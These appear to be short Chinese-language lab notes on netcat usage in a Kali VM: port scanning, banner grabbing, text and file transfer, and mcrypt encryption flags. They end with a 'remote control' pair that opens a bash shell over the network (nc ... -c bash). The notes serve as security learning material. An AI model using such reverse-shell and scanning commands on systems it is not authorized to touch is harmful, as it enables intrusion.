netcat
我的是kali的虚拟机,IP是172.16.244.132
端口扫描
nc -nvz 192.168.1.1
这里-n表示ip,不用经过DNS转换,-v是提示,-z是不进行I/O,只是用来扫描
Telnet/Banner
nc -vn 123.125.50.29 110
传输文本
nc -lp 6666
-l 是监听模式
-p 是端口
nc -nv 172.16.244.132 6666
发送消息
接收消息
定向到文件中
nc -lp 6666 > test.txt
传输文件和目录
文件
nc -lp 6666 > 1.jpg
nc -nv 172.16.244.132 6666 < 1.jpg
目录
nc -lp 6666 > test.tar
tar -cvf test.tar test/ | nc -nv 172.16.244.132 6666 < test.tar
加密传输
mcrypt
–flush 立即冲洗输出,
-F 强制 输出数据,
-b 不保留算法信息,
-q 关闭一些非严重的警告,
-d 解密
远程控制
被控端
nc -lp 6666
控制端
nc -nv 172.16.244.132 6666 -c bash